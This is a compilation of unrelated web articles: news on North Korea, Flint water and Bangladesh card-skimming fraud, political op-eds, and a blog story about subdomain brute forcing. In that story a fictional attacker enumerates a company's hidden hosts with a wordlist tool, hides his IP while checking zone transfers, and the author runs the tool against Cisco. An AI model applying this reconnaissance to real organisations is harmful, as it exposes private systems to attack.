seasoned pepper 1. Melt bacon grease in a frying pan 2. Add BOTH garlic and onion. Sautee until the onion is a light golden brown 3. Add chicken and brown* What’s the surprise? This concoction really highlights the taste of the onion. I was not expecting it at all. If you like onions, I would recommend this dish. *As a note, the chicken will cook MUCH faster in the veggie concoction than it would if you cooked it in butter or some other form of oil. I think this is because bacon gets MUCH hotter than other greases. If you’ve ever been splattered with bacon grease, you can attest to this first-hand. Here are some pics of the process: That’s my food tally for today! Peace y’all! Gina -Photo credit: Wanlaya Parathan | Dreamstime.com North Korea appealed to the Association of Southeast Asian Nations (ASEAN) for support in its conflict with the United States, instead the Southeast Asian countries are expected to express grave concern over North Korea's nuclear weapons tests and ballistic missile launches. ASEAN is set to release its statement at the end of foreign ministers meeting in Manila on Friday, local time. North Korean Foreign Minister Ri Yong-Ho in a rare move wrote to the ASEAN regional bloc's secretary general requesting for the regional bloc's support with its row with the U.S. to prevent what it warned about a possible "nuclear holocaust". But the ASEAN is expected to criticize North Korea for its two atomic weapons tests last year and subsequent launch of ballistic missiles. The statement is expected to declare that ASEAN is mindful that instability in the Korean Peninsula will have a serious impact in the region and beyond. The ministers will strongly urge North Korea to "fully comply" with UN Security Council resolutions and international laws. ASEAN despite rejecting Pyongyang appeal for backing will also be expected to strike a more balanced appeal as it is also anticipated to call on "all parties concerned" to stop all provocative actions and to exercise self-restraint to de-escalate the tension and avoid action that may aggravate the situation. Diplomats in Manila said the other parties refer to the U.S. and regional powers China, Japan, and South Korea - all three being key strategic players in the region.ASEAN will meet again on April 29, Saturday where they are expected to discuss the situation on the Korean peninsula.Pyongyang's foreign minister warned in his letter to the ASEAN that the situation in the Korean Peninsula was "reaching the brink of war" and blamed "Washington's actions". Ri also criticized US-South Korea military exercises. Tensions rose in the region the past weeks amidst a series of North Korean missile tests and the tough responses from Washington. Washington has deployed an aircraft carrier strike group to the Korean peninsula in the midst of worrying signs that the North could be preparing for a 6th nuclear test, and U.S. officials have said all options were on the table. ASEAN members include Indonesia, Thailand, Malaysia, Singapore, the Philippines, Vietnam, Cambodia, Myanmar, Laos and Brunei, some countries are close U.S. allies. The Philippines for one has a defense pact with the U.S. where it is expected to support Washington in the event of war. Source: https://www.rappler.com/world/regions/asia-pacific/168235-asean-express-grave-concern-north-korea-tests -Gov. Rick Snyder said getting clean water to Flint residents remained the top priority for state officials, but there are no current plans to replace the corroded lead pipes. Carlos Osorio / AP Michigan officials on Wednesday wouldn’t estimate whether it would take weeks, months, or longer before Flint residents’ water would be safe to drink, and there are no current plans to replace the corroded lead pipes at the heart of the crisis. “It’s not based on chronology. It’s based on having good test results that show it’s safe,” Gov. Rick Snyder said at a press conference. Water testing by experts earlier in the crisis was questioned by state regulators, who maintained Flint’s water was safe more than a year after lead contamination began. On Wednesday, the state’s new interim environmental quality director said no longer would his department ignore the work of outside experts. “We are on the same page, and we’ll make sure we’re on the same page,” said Director Keith Creagh. “There is no excuse...We’ll make sure the data is accurate, vetted, and transparent.” Officials gathered Wednesday to lay out short-term plans for addressing the lead contamination crisis as well as talk of their commitment for longer term fixes. Among the short-term actions would be continuing to supply bottled water and filters to residents, as well as asking the federal government to extend Medicaid eligibility to all children under the age of 21. Water testing would also continue, and a team of experts will be working with state and local officials to determine its safety. Carlos Osorio / AP “This is about working together to address the issue,” Snyder said. Lead from old pipes began leaching into water after the city’s water source was switched from Detroit to the more corrosive Flint River in 2014. Residents complained of their water’s brownish color, taste, and smell, and testing by outside experts confirmed a high presence of lead. For months, however, officials questioned the accuracy of the tests. Emails showed blame being shifted between state and local leaders, and residents concerns being dismissed. A task force later found fault with state environmental regulators, and earlier this month, Snyder apologized for the state response and declared a state of emergency. The regional administrator of the Environmental Protection Agency also resigned. The acknowledgements came far too late, according to a lawsuit filed by the American Civil Liberties Union also on Wednesday. “Public trust has been eroded by government officials’ efforts to evade responsibility in this crisis,” the suit said. “The damage done to city pipes from the Flint River water means that lead will continue to contaminate Flint’s drinking water. This contamination poses an ongoing health risk to the city’s residents, especially young children, who are most vulnerable to the effects of lead.” Snyder said the state’s first priority remained getting clean water to Flint. “Our goal is to get the water coming out of the tap safe as soon as possible,” Snyder said Wednesday. To do that most quickly, Snyder said officials would be working to recoat the interior of Flint’s lead pipes. Clean water is again coming into the city from Detroit, but the corroded lead pipes remain beneath Flint’s surface. Conversations about replacing lead pipes — and even identifying their location — is a longer term issue, Snyder said. “Where they are, we’re still mapping all that,” he said. “There’s a lot of work to be done there.” AP Photo/Paul Sancya, File -About 10 million bank clients are potentially easy victims of fraudulent charges to their debit and credit accounts because they are using the vulnerable magnetic stripe cards. Customers can lose their personal data and money because their banks have not bothered to adopt chip-embedded cards despite several warnings from the Bangladesh Bank. Shahreen Haq was put through one such stressful event recently. She has a debit card from a reputed foreign bank and last week she got two text messages within 20 minutes notifying that her card was used to make purchases worth over Tk 62,000. She was at home at the time and had not used the card. A shocked Shahreen instantly got in touch with the bank and the police and managed to block the payment. Others were not so lucky. Making fraudulent transactions like these are easy for criminals because most banks are still issuing magnetic stripe cards that are too easy to copy. The magnetic stripe on the back of the cards store the cardholder account information and can easily be copied with an inexpensive card reader. According to banks, most such fraudulent charges originate at different shops where buyers have used their cards at some point of time. One foreign bank recently received 40 reports of fraudulent charges made in one boutique shop in Gulshan. As the cards were swiped at the cash registers, customer data were secretly copied and stored to be used later to make fraudulent purchases. City Bank alone had to reimburse its clients around Tk 3 crore for similar unauthorised charges at some POS terminals in Gulshan, Banani, Baridhara and Uttara. Cards are also being copied at ATM booths where criminals install skimming devices. It was revealed last month that fraudsters had withdrawn Tk 1 crore by cloning cards with the skimming devices from four ATMs in the city. City Bank, Eastern Bank (EBL) and United Commercial Bank (UCB) lost over Tk 25 lakh from this type of fraud. Bangladesh Bank has information that more banks have been affected. The latest addition to the list is Premier Bank from where criminals pocketed Tk 40 lakh by cloning credit cards issued by Al Rajhi Bank of Saudi Arabia. Bangladesh Bank had asked the banks to convert to chip cards, also known as EMV cards, at least four times since September 2013. The last circular was issued on 8 March. Only Dutch Bangla Bank has adopted EMV cards. The BB also directed the banks to get certified by the Payment Card Industry Data Security Standard (PCI DSS), which is a proprietary information security standard for organisations that handle branded credit cards, including Visa, MasterCard, American Express, Discover, and JCB etc. But no bank has done it so far except Q Cash, according to BB. EMV stands for Europay, MasterCard, Visa (Europay is now part of MasterCard). Established in 1994 by those three founding members, now EMVCo is an international alliance for payment standard by six card networks: Visa, MasterCard, American Express, Japan JCB, Discover, and China UnionPay. Each time a user inserts an EMV chip card into a chip-enabled terminal, a unique security code is generated. This makes it extremely difficult for anyone to reuse the card information and card users are protected. Europe has gone for chip cards since 2000. China has done it in 2002. By the end of 2004, almost all credit cards issued in Malaysia had been replaced with chip cards, and POS terminals have also been upgraded to accept chip cards. According to Bank Negara Malaysia (central bank), for the first half of the year 2005, statistics on credit card fraud showed that the number of cases and losses have declined by 43.2 percent and 33.5 percent respectively, compared with the same period in 2004. The US was compelled to start using this technology when credit card information stolen from Target, a large chain retailer, in 2013 brought the issue of the vulnerability of credit card information to the front. Thailand and India which were once havens for card frauds, have mostly introduced EMV-enabled debit cards by 2015. “Global cyber criminals target non-chip cards and they have found Bangladesh a perfect hunting ground,” said Abul Kashem Mohammad Shirin, deputy managing director of Dutch-Bangla Bank, the first bank to introduce EMV debit card in Bangladesh. “EMV protected cards are almost impossible to hack,” said Kazi Saifuddin Munir, managing director of IT Consultants that run the country's biggest private payments switch Q Cash with around 3,000 ATMs. Munir finds it surprising that even a big foreign bank, in business here for long, that introduced cards before any other bank, is yet to issue chip cards. “These banks take a lot of fee for issuing a card, but are not taking any measures to protect their customers,” he said. Munir also blamed the BB for its lax attitude towards the banks. BB's circulars asking all banks to issue chip cards have been mostly ignored and nothing significant has happened yet, he said. Some bankers say the transition from magnetic stripe to EMV is costly. It requires upgrading all payment terminals and ATMs in the country needing huge resources, money and time. That's why some countries, including Bangladesh, are avoiding the change, they said. But others disagree. “A bank needs to develop its infrastructure including upgrade of software to make it EMV enabled. Card production system has to be changed to go for chip card,” said Shirin of DBBL. But Munir of Q Cash finds no additional cost except buying chip card that costs hardly Tk 70-80 apiece. A non EMV card costs around Tk 25. “As Q Cash is EMV certified, its 33 member banks do not need to invest anything to upgrade its system. These banks have to pay for EMV cards only,” he said adding that as there is a national payments switch, banks do not need to spend for a separate switch. “cost is a lame excuse,” he added. Bangladesh is a late comer in plastic money market. A few banks have introduced cards in early 2000s, but it gained momentum after 2005. Now 52 banks out of 56 in the country have cards as their products. According to BB, there are nearly 7,500 ATMs where around 3.5 lakh transactions take place per day. The amount transacted through ATMs is Tk 250 crore daily. Presently, there are 32,000 POS terminals where over 35,000 transactions take place per day. Nearly Tk 30 crore is transacted through these POSes daily. BB statistics also show that the number of debit cards and transactions doubled in the last four years reflecting the customers' growing dependence on plastic money. Yet banks have failed to take adequate security measures to protect customers. Bitopi Das Chowdhury, head of corporate affairs of Standard Chartered Bank, said, “We have already initiated the process of introducing EMV cards; our customers will be able to use these chip based cards soon.” She, however, did not specify a timeframe. Toufiq Hassan, head of cards of BRAC Bank, said they have started to upgrade their system for EMV cards. “We will start issuing EMV cards next year,” said Hassan. Ziaul Karim, head of communications of Eastern Bank, said they have already started the project and 60 percent of their 4 lakh cards have been made EMV enabled. On flouting the central bank orders in introducing chip cards, Shubhankar Saha, spokesman of the BB, said he is seeking updates from banks. “We have to work more and as part of that move we will sit soon with the managing directors of all banks,” he told The Daily Star. Can only EMV cards ensure foolproof security to the card users in Bangladesh? According to Munir of Q Cash, the answer is “no,” as many things will depend on the bank officials who maintain the customer information. “If bankers get involved into the frauds, EMV card cannot protect customers. Bankers have customers' data and they can clone cards by stealing those data easily,” he noted. -In a recent op-ed piece titled “When Liberals Blew It," New York Times columnist Nicholas Kristof—himself an outspoken progressive, especially on women’s and girls’ issues worldwide—wrote of the among liberals generated by a report written for the Department of Labor by Daniel Patrick Moynihan in 1965. In this report (which became famous), Moynihan stated that a major impediment to black advancement in America was the breakdown of the family. Kristof wrote, “He argued presciently and powerfully that the rise of single-parent households would make poverty more intractable.” It’s that word “presciently” that stands out to me. If you are ahead of your time and you go against the prevailing view—which for liberals was that institutional alone was responsible for poverty in the black community—you are going to get hammered for it, as Moynihan was. But while no person could then or now deny the continuing effects of institutional racism, it’s hard to argue that widespread father absence is good for any subculture. I write of this as an analogy to another situation—though a closely related one—the importance of which may finally be on the cusp of mainstream acceptance: It’s the fact that on most measures American boys and young men today are not doing as well as girls and young women. Actually, this is not just true in our country, but throughout the developed world. This is not a problem that just started, nor is it one that no one noticed until this year. In 2000 Christina Hoff Sommers’ book, The War Against Boys, presented data showing undeniably that on many key measures of success boys were struggling much more than girls. Sommers’ conservative politics probably stood in the way of greater acceptance of what she was saying. She had already alienated many feminists with her previous book (Who Stole Feminism: How Women Betray Women), and the subtitle of Boys (“How Misguided Feminism Is Harming Our Young Men”) didn’t help. But the message is more important than the messenger, and the last 15 years have shown Sommers to be right about how boys were and are doing (even if her explanations were controversial and politically polarizing). And in those years, there have been flurries of to the needs of boys and young men. Cover stories in magazines and books (including Boys Adrift by Leonard Sax and Why Boys Fail by Richard Whitmire) published in the ’00s, along with some national television stories, all talked about the problems boys were having. But even today, with women still feeling quite justifiably that they have not reached anything near equity in , boardroom, and , the needs of males, of any age, have yet to fully penetrate popular consciousness. One day last year at my local bakery, a great meeting spot in my very interesting and progressive college town, I was reading Hanna Rosin’s book The End of Men: And the Rise of Women. A feminist saw me reading it, and I said, “As the grandfather of (then) three boys, this book makes me concerned.” She replied, “Well, when Congress is half women, then I’ll be concerned about boys.” A statement like this about children, any children, but especially those who need our help and encouragement, distresses me. Also, of daughters—and my friend has one daughter in her 20s—should be concerned about young males not keeping pace. Women typically prefer partners who are at least at their level of and achievement, and with approximately 130 women enrolled in college for every 100 men, this creates a problem. Five years ago I wrote that I couldn’t “see myself joining people with whom I disagree sharply on almost all other social issues, so I can't see somehow becoming a conservative to help my sons, my grandsons, and young males across the country. But I can't stand feeling so alone either; so all I can do is urge my fellow liberals to make this part of their agenda too. Maybe boys haven't been the victims of laws and obvious -isms, but, as a group, they have been the victims of, at very least, neglect, and they need help from across the political spectrum.” I am happy to say that this is finally happening. For several years now a bipartisan group, which includes experts in the area of boys’ issues and fatherhood—and many of these are women, some of whom strongly identify as feminists—has been pushing for a White House Council on Boys and Men, which would parallel the one that President Obama established for women and girls shortly after he took office in 2009. Lately, there is more in the media about the boys’ issue. And along with this, there are members of Congress on both sides of the aisle who are aware of the proposal to create a White House Council on Boys and Men and are ready to be supportive. Some people feel that the problems of boys and young men are only significant in the minority community—and indeed the President has established My Brother’s Keeper, whose focus is these young males. There is no question that young males of color fare worse than any other group in our country, and thus I am a big supporter of the President’s action. But I have long believed that one of the reasons boys and young men of color have so mightily struggled is because the attention given to all girls and young women over the last 25 years has ignored them along with all the other boys. Certainly this is not to say that girls and young women of color have had it easy. But whether you look at issues like homicides, incarceration rates, or less dramatic ones like school performance, young black women are doing better than young black males. For example, the ratio of enrollments in college for African-American women vs. men is two-to-one. The fact is that the situation for young males transcends For the moment, at least, it is not politically popular to push for the needs of males of any age in our country. But there was nothing politically popular about what Pat Moynihan was saying in 1965 either. Is institutional racism a problem? Absolutely. But quite possibly there is also a certain amount of institutional sexism—at least in schools and government—that favors girls over boys. And when race meets , then we have the situation of the young black American male, who on nearly every measure you can find, is at the lowest rung in America. A rising tide lifts all boats. Women of color benefited from a women’s movement which did not exclude them, perhaps not as much as white women did, but more than black men did. A cover story in Newsweek way back in March 2003, was titled “From Schools to Jobs: Black Women Are Rising Much Faster Than Black Men. What It Means for Work, Family and Race Relations.” There is still a large gap today. A movement toward helping American boys and young men will help boys of color, especially if, as should be the case, they do get extra attention from such a movement. Is there anything in this for today’s young women? Absolutely. A plethora of undereducated and underachieving young men will not make for a happy future for any of us. As Nicholas Kristof himself wrote in a New York Times op-ed piece in 2010, titled “The Boys Have Fallen Behind," “At a time when men are still hugely overrepresented in Congress, on executive boards, and in the corridors of power, does it matter that boys are struggling in schools? Of course it does: our future depends on making the best use of human capital we can, whether it belongs to girls or boys.” -The Story of Bob and Mike, or How You Might Get Hacked By Sub Domain Brute Forcing! Something that I’ve been really interested in is sub domain brute forcing, but what is it any why does it matter? So, where to start? Let’s tell the story of a company system administrator and his journey. So Bob (the sysadmin for a very important tech company) is put in charge of managing the DNS servers for H.U.E Inc among other things. (For this story we’ll be using a 127.x.x.x format but we’ll pretend that these aren’t all loopback IP addresses) Bob starts off by registering the domain name www.hueinc.com and points it to a server that hosts the company’s main website. So now whenever people go to www.hueinc.com it directs them to their web-server that serves up some static website detailing what the company is all about. We’ll say the IP address of this server is 127.0.2.1 just for example’s sake. So, for those keeping track at home: DOMAIN IP www.hueinc.com 127.0.2.1 hueinc.com 127.0.2.1 Great, but soon Bob is contacted by the developer department for H.U.E and they want a sub domain for their FTP server they setup. Easy enough, we’ll just set it to something easy to remember – after all this is what domains are for right? Bob decides that “ftp.hueinc.com” and “files.hueinc.com” seems like pretty easy-to-remember domains and set’s them to point twords the FTP server at the IP “127.0.2.8”.

Cool, so now the company’s domain map looks like this: DOMAIN IP www.hueinc.com 127.0.2.1 hueinc.com 127.0.2.1 ftp.hueinc.com 127.0.2.8 files.hueinc.com 127.0.2.8 Bob is now very confident with his ability to assign sub domains to things and starts assigning every department their own sub domains to make everything easier to use. He even sets up personal sub domains so he doesn’t have to remember all the annoying IP addresses of the server’s that he sometimes manages. The cPanel page that he uses to manage everything? Why that’s “cpanel.hueinc.com” of course! The company’s employee login page? “employees.hueinc.com”. The IP cameras for the building? “surveillance.hueinc.com”. The toaster in the lounge that tweets when bread is full toasted? “toasted.hueinc.com”! Bob is very excited about how much easier he has made things! So lets see, what’s the map look like now? DOMAIN IP www.hueinc.com 127.0.2.1 hueinc.com 127.0.2.1 ftp.hueinc.com 127.0.2.8 files.hueinc.com 127.0.2.8 cpanel.hueinc.com 127.0.3.1 employees.hueinc.com 127.0.3.2 surveillance.hueinc.com 127.0.3.3 toasted.hueinc.com 127.0.2.9 secret.hueinc.com 127.1.3.1 earth.hueinc.com 127.2.1.2 fire.hueinc.com 127.2.1.3 hercules.hueinc.com 127.3.2.1 Etc, etc. Wow, Bob certainly has been busy, what could possible go wrong here? Meet Mike, he’s a Red Bull powered, not-so-ethical, insomniac. To top it all off he’s quite the computer security enthusiast and spends his time hacking at networks that he’s found an interest in. Sadly that system today turns out to be H.U.E. Inc.’s network. Mike does a quick Whois on the domain name “hueinc.com” to start with and finds Bob’s contact details and the company’s phone number. Neat, so his opponent today is named Bob – let the games begin! Mike now wants to know if they have any other systems than this static web server that shows the company’s details. After all, he is doubtful that he will have any luck hacking this server as most of the pages are just HTML files. Perhaps this admin is new and has global DNS zone transfers enabled? __A quick visit to https://tools.digitalpoint.com/zone-transfer and he discovers that they do not have global zone transfers allowed. (Mike prefers using this website as it won’t show his IP address for the query) A quick Google search reveals that only the company’s main website is indexed. Oh well, I guess we’re doing this the fun way then! Mike loads up one of his favorite tools for this type of thing called “DNS Discovery“. He loves this tool because it’s multi-threaded and can be installed on many embed devices because of it being written completely in C. He has a word list for sub domains that he’s been building up overtime and is quite happy with it, the game of profiling administrators is something he enjoys very much. The interface for this tool looks something like this: He lets the tool run it’s course, he finds that Bob is quite the sub domain wizard and has assigned quite a few sub domains to systems that should not be touched by people who aren’t employees! Mike’s map of H.U.E. Inc. now looks something like this: DOMAIN IP www.hueinc.com 127.0.2.1 hueinc.com 127.0.2.1 ftp.hueinc.com 127.0.2.8 files.hueinc.com 127.0.2.8 cpanel.hueinc.com 127.0.3.1 employees.hueinc.com 127.0.3.2 secret.hueinc.com 127.1.3.1 fire.hueinc.com 127.2.1.3 hercules.hueinc.com 127.8.2.2 His picture isn’t a very complete one but it reveals quite a few domains that he’s interested in. Ah, sweet! Jackpot! Mike isn’t quite done yet with his assessment yet however. fire.hueinc.com? Does that mean the other “elements” are included as well? Mike checks for “water.hueinc.com” and finds nothing, he then tries “earth.hueinc.com” and finds Bob’s other server as well! Mike finds that many other sub domains all follow this sort of scheme, he discovers the “hercules.hueinc.com” sub domain as well and quickly scrapes a list of all of the greek gods for his word list. Sure enough, he enumerates ten more sub domains this way! He also now has an idea of some IP ranges the company might own and checks neighboring IPs for more systems. He finds a few more this way as well! Mike has gone from having one static web server to attack to having tons of machines that he can mess with. Some of these systems were thought to be private and they probably haven’t been patched against the latest exploits. What do _you _think Mike’s chances of success are now? Is Bob and Mike’s story a unique one? This is probably not a common thing…right? Sadly this isn’t a unique scenario at all, many (if not the majority) of system administrators will act exactly like Bob did. It isn’t that Bob didn’t know about the possibility of sub domain brute forcing but more that he never considered that anyone who do this. Heck, Bob even found the task of coming up with new sub domain names a fun job! To close, here is a screenshot of this tool running against Cisco’s main domain name Cisco.com for five seconds (if this doesn’t get you a little freaked out I don’t know what would): That’s a LOT of sub domains, I don’t even want to know what a full “scan” would yield… EDIT: Just to clarify I’m not saying that companies shouldn’t use sub domains. My point was that this would be an effective way to enumerate systems that are scattered across different hosts (which is very possible, maybe you outsource you FTP etc.) A better point would be to just be cautious of how sub domains are assigned and not to depend on the obscurity of a system for security. This is well pointed out with the Cisco sub domains as many of those domains are _not _supposed to be globally accessible. I was hoping this post would get a few people to think about just what kinds of systems they consider “secret” that could be enumerated and attacked like this. Thanks for all the constructive comments so far – I believe I’ve fixed any errors in the post as pointed out by readers! JUST FOR THE RECORD: I’m not endorsing the hacking of any of Cisco’s systems, I am merely pointing out the fact that this type of a thing happens all the time in real world networks. Cisco sadly has had a bad record when it comes to naming domains (they were vulnerable to zone-transfers for quite a while!). Please don’t attack any systems that do not belong to you! Jail time is not worth the adrenaline boost. Nuff said? -OKLAHOMA (WITI) — An Oklahoma woman’s choice of headwear in her driver’s license photo has prompted a review by the Oklahoma Highway Patrol. FOX6’s sister station, KFOR in Oklahoma City reports Shawna Hammond says her decision to wear a colander on her head for her driver’s license photo is due to her religious beliefs. Hammond says she’s a Pastafarian. She says she views the strainer as a symbol of her religious freedom. The Oklahoma Department of Public Safety says religious headpieces cannot create shadows on a face, and a driver’s license photo must present a clear view of a face. “I asked if I could wear my religious headwear and he said, yes — it just couldn’t have any logos, or any type of writing. I told him it didn’t, and I went out to my car and got my colander. It doesn’t cover my face. I mean, you can still see my face. We have to take off our glasses, so I took off my glasses,” Hammond said. Pastafarianism is a religion where there are “no strict rules and regulations, there are no rote rituals and prayers and other nonsense,” according to the church’s website. “It came about in 2005. A man named Bobby Henderson wrote an open letter to the Kansas State Board of Education. It was actually about teaching creationism in school and he came up with the flying spaghetti monster and it had just as much merit,” Hammond said. KFOR reports the Oklahoma Highway Patrol will do a thorough review of Hammond’s driver’s license photo to ensure it doesn’t violate any rules. If it doesn’t violate any rules, the Highway Patrol says it may consider changing the rule regarding religious headwear becuase it is more than 10 years old. CLICK HERE for more on this story via KFOR.com. -New American citizens pose for photos in the Great Hall on Ellis Island after a naturalization ceremony on Friday in New York. (John Moore/Getty Images) Applications for U.S. citizenship soared in the first three months of the year compared with 2015, appearing to confirm the predictions of several Democratic-leaning groups that the numbers would climb in response to the presidential campaign of Republican Donald Trump. If the trends continue, activists now expect there to be nearly 1 million new citizens this year — roughly 200,000 more than the average in most years. That uptick would be just the latest signal of how Trump's campaign has fundamentally reshaped the American electorate. Figures released this week by U.S. Citizenship and Immigration Services show 249,730 new citizenship applications were submitted from January to March, a 28 percent jump from last year and a 34 percent increase from last quarter. Historically, citizenship applications usually climb at the start of a presidential campaign cycle. Compared with the same three-month period in 2012, applications jumped by at least 6 percent. The official quarterly statistics do not break down applicants by ethnicity, race or gender. But the release comes just days after several immigrants rights and voter registration organizations predicted the figures would grow, citing an increased turnout at citizenship workshops and calls to hotlines or congressional offices for more information. [Trump’s candidacy sparking ‘a surge’ in citizenship, voter applications] Many would-be applicants have told activists that they are primarily motivated to become citizens because of Trump, who has proposed deporting 11 million undocumented immigrants and building a wall on the U.S.-Mexico border. Applying for citizenship doesn't guarantee acceptance — 19,564 applications were denied by USCIS during the quarter, with 442,219 still pending review, the agency said. Also, just because people apply to be U.S. citizens doesn't mean they'll automatically register to vote and show up to do so in November, something activists acknowledged on Friday. "Our next step is to continue registering every eligible Latino to vote," Ben Monterroso, executive director of the Mi Familia Vota Education Fund, said in a statement touting the official statistics. "The Latino community will speak loud and clearly come November, we will help elect candidates who are willing to work and fight for the issues that affect our families, communities, and our country." Cristóbal Alex, president of the Latino Victory Foundation, said that citizenship "is the first step toward the voting booth, and seeing those naturalization application figures jump means that we will see a higher Latino voter turnout." Mi Familia Vota and the Latino Victory Foundation are two of dozens of organizations — including the Obama administration and both political parties — that are promoting citizenship or voter registration during the presidential campaign year. Univision, the nation’s dominant Spanish-language broadcaster, has drawn more than 100,000 people to hundreds of voter registration and citizenship drives aimed at urging Latinos to vote. The network is hoping to register 3 million new Latino voters this year as part of a company-wide effort to boost its political influence. [Univision draws 100,000 to voter registration drives in move to increase its political clout] Across the country, several states are reporting higher voter registration numbers. In California, the number of Hispanics registering to vote doubled in the first three months of the year compared with the same period in 2012, according to state data. In Texas, naturalization ceremonies have swelled while most of those becoming citizens are also registering to vote at higher rates. Meanwhile, Trump's campaign has done little to assuage the concerns of the nation's Hispanic voters. Trump sent a video greeting to an annual conference of Hispanic evangelical pastors last weekend in California — seen as one of his first attempts to reach out to any large group of Latinos. But this week he also strongly attacked one of the country's most prominent Latina political figures, New Mexico Gov. Susana Martinez, a Republican, telling rally-goers in Albuquerque that "she's got to do a better job." The attack was considered far out of bounds by many GOP leaders, including House Speaker Paul D. Ryan (R-Wis.). Not only is Martinez head of the Republican Governors Association and the only Latina governor, but many party leaders once touted her as a potential presidential or vice-presidential candidate. One of Trump's top campaign aides, Paul Manafort, said in an interview this week that the candidate was unlikely to pick a woman or a member of a minority to serve as his running mate, because “that would be viewed as pandering, I think.” For his part, Trump batted away concerns about his outreach to Hispanic voters. In an interview this week with Mario Lopez of the entertainment news show "Extra," Trump said: "I know all about your heritage and respect it greatly. My relationship with Hispanics is fantastic." Polls suggest otherwise: 81 percent of Hispanics have an unfavorable view of Trump, according to a recent Washington Post-ABC News poll. -Among my least favorite clichés is that one about “speaking truth to power.” It’s easy to speak truth to powerful people. There aren’t many of them and they don’t care what you say. What really takes nerve is to speak truth to knuckleheads. There are tens of millions of them. And they get to vote. That is the charm of Ron Paul. I think I can say, without fear of contradiction, that no politician in recent history has irritated so many knuckleheads in so few words. The high point had to be last week at that tea party debate in Florida. A questioner asked whether the candidates favor cutting defense spending to balance the budget. Given the fact that every candidate opposes tax hikes, the only intelligent response had to be, “Of course.” But when the Texas congressman said exactly that, he set off a sort of knucklehead revolt. Paul started with an assertion that the armed forces should be used solely for defensive purposes. Many Republicans would agree with that. But Paul felt a need to needle the knuckleheads: “The purpose of al Qaeda was to attack us, invite us over there, where they can target us and they have been doing it,” said Paul. “They have more attacks against us and the American interests per month than occurred in all the years before 9/11, but we’re there occupying their land.” After Paul went on to ask how we’d feel if we were invaded by China, the No. 1 knucklehead in the race, Rick Santorum, got a chance to reply. He’d been standing there with his jaw open like a flounder and he rose to the bait like it was a chunk of fresh squid. “We stand for American exceptionalism,” (Note: This term was coined by a communist; see here.) ) the former U.S. senator from Pennsylvania proclaimed. “We stand for freedom and opportunity for everyone around the world.” This got the predictable round of applause from the knuckleheads. But Paul went right back at them: “As long as this country follows that idea, we’re going to be under a lot of danger,” he said. He proceeded to point out the harsh reality that armed occupation leads to armed resistance. All of this earned Paul a hearty round of boos, but it’s the accepted view among those who understand terrorism. The statistics Paul cited come from Robert Pape, a University of Chicago political scientist who has studied suicide terrorism extensively. Pape notes that before 9/11, only about 10 percent of suicide attacks were aimed at Americans. Now, it’s more than 90 percent. Perhaps the leading American expert on suicide terrorism is Bob Baer, a former CIA agent who spent most of the ’80s and ’90s running around the Mideast. When I called Baer to ask his opinion of Paul’s parallel to a foreign invasion of the United States, he brought up the 1984 movie “Red Dawn.” In it, a small town in Colorado is invaded by Russian paratroopers. The local high school kids get guns and take to the hills. “We don’t want to be occupied,” said Baer, who’s from Colorado. “The movie was about high school kids essentially committing suicide.” In making the documentary “The Cult of the Suicide Bomber,” Baer interviewed several would-be suicide bombers who had been captured before killing themselves, as well as the relatives of many successful suicide bombers. “There was a guy whose cousin blew herself up in a restaurant,” he recalled. “And he said, ‘Because they’re killing us, we have to blow ourselves up. We don’t have F-16s and tanks, so we have to use suicide belts.’” The ultimate irony here, Baer said, is that Islamic radicals may not be needing those suicide belts much longer. Thanks to the insistence by the neoconservatives — which is the polite way of saying “knucklehead” — that everyone should be freed from dictatorial rule, Islamic fundamentalists are now in a position to control much of the Mideast. Once freed from the horrible Hosni Mubarak, Baer noted, the Egyptians promptly sacked the Israeli embassy in Cairo. If the dictatorship in Syria falls, he said, Israel will be surrounded on all sides by angry Muslims. All of them will have the freedom and opportunity Santorum and his fellow neocons wanted them to have. “We really do have to wake up,” Baer said. “We do not have the money to play out our fantasies.” That’s the truth. And at least one candidate is pointing it out to the knuckleheads. BEFORE COMMENTING, please read my comments policy. Pay particular attention to the following rule: 4. I can’t stand commenters who embrace the good, old-fashioned Moron Perspective, the idea that anyone who criticizes a politician from the right must be a member of the left. If I say, for example, Sarah Palin has no positions that show evidence of any concept of conservatism, don’t call me a liberal. Only a dolt would say that. Don’t be that dolt. -5 years ago (CNN) - President Barack Obama tops the list of the worst presidents since World War Two, according to a new national poll. And the survey, released Wednesday by Quinnipiac University, also indicates that a plurality of voters nationwide say in hindsight that the country would be better off if Mitt Romney had won the 2012 presidential election. Follow @politicaltickerFollow @psteinhausercnn Obama at 41% approval in new CNN Poll of Polls; Congress at 14% Thirty-three percent of people questioned in the poll say that Obama is the worst president since the Second World War, with 28% saying George W. Bush was the worst. Thirteen percent picked Richard Nixon, with 8% naming Jimmy Carter. "Over the span of 69 years of American history and 12 presidencies, President Barack Obama finds himself with President George W. Bush at the bottom of the popularity barrel," said Tim Malloy, assistant director of the Quinnipiac University Poll. It's important to note that Obama and Bush, his predecessor in the White House, are more in the public conscious than previous presidents, and that both have governed during a time of bitter partisanship that's made compromise between the two major political parties extremely difficult. When Quinnipiac last asked the question, in 2006, Bush topped the list, with 34% saying he was the nation's worst president. According to the poll, Ronald Reagan (at 35%) tops the list of the best president since WWII, with 18% saying Bill Clinton was best, followed by John F. Kennedy at 15% and Obama at 8%. Voters are divided on whether Obama's been a better president than his predecessor, with 39% saying he's better than Bush and 40% saying he's worse. No surprise, there's a wide partisan divide on this question. Bush left office in January 2009 with very low poll numbers. But according to a recent CNN/ORC International survey, his favorable rating now stands at 46%, up 11 percentage points over the past five and a half years. His favorable rating, according to the CNN poll, is now on par with Obama. Better off if Romney had won? Forty-five percent of those questioned say that America would be better off if Romney had won the 2012 election, with 38% saying the country would be worse off. Again, it's no surprise that 84% of Republicans say that America would be better if Romney had won and nearly three quarters of Democrats saying things would be worse. For Romney, this endorsement's close to home An adviser close to the former Massachusetts governor told CNN that he received a bunch of calls Wednesday, following the release of the poll, from donors who contributed to the 2012 Romney presidential campaign. Spencer Zwick, the campaign finance chairman for Romney's 2008 and 2012 presidential campaigns, said that he thinks the poll "creates a hope and interest from a lot of those donors who would have loved to seen Romney become president but are hopeful there may be a shot in the future." "It started a few months ago with donors saying 'do you think there's any shot,' to donors now saying 'how do we convince him to do it.' Which is kind of interesting because they have heard Gov. Romney say 'I'm not planning on doing this again' and I think some of these donors don't want to take no for an answer," added Zwick. Romney has said over and over that he won't run for the White House a third time. "I'm not running," Romney last month on NBC's "Meet the Press," a line Romney's used in interviews every time he's asked about 2016. Romney's wife, Ann, has also been adamant against another run. How many ways can Romney say no to 2016 Obama's job running the government By a 54%-44% margin, the survey indicates that the Obama administration is not competent in running the government. The 